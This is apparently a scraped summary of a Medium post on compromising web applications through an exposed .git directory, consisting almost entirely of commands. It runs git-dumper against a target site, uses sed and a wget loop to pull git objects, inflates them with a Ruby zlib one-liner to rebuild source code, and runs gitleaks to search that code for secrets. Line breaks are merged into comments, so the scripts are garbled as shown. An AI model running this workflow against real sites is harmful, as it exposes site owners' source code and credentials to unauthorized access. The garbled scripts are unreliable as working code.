Git 出错：通过暴露 .git 目录入侵应用程序

git-dumper http://website.com/.git ~/website >> file.txt

sed ‘s/.*(https://.*)/1/’ file.txt >> clean_file.txt

#!/bin/bash

# Directory to save the downloaded filesDOWNLOAD_DIR="objects"

# File containing the URLsURLS_FILE="clean_file.txt"

# Create the directory if it does not existmkdir -p "$DOWNLOAD_DIR"

# Read each URL from the file and download the filewhile IFS= read -r url; do    echo "Downloading from $url"    # wget to download the file from the URL    wget "$url" -P "$DOWNLOAD_DIR/"done < "$URLS_FILE"

echo "Download completed."

ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < object

#!/bin/bash

# Directory with the files to processINPUT_DIR="objects"

# Output file base nameOUTPUT_BASE="code"

# Counter for output file namingcount=1

# Process each file in the directoryfor file in "$INPUT_DIR"/*; do    if [[ -f $file ]]; then        # Apply the Ruby command to the file and save the output        ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < "$file" > "${OUTPUT_BASE}${count}"        # Increment the file counter        ((count++))    fidone

echo "Processing completed."

gitleaks detect --source='<location of the directory>' --no-git -v

https://medium.com/@cybersekler/git-gone-wrong-application-compromise-via-exposed-git-directory-392806b23435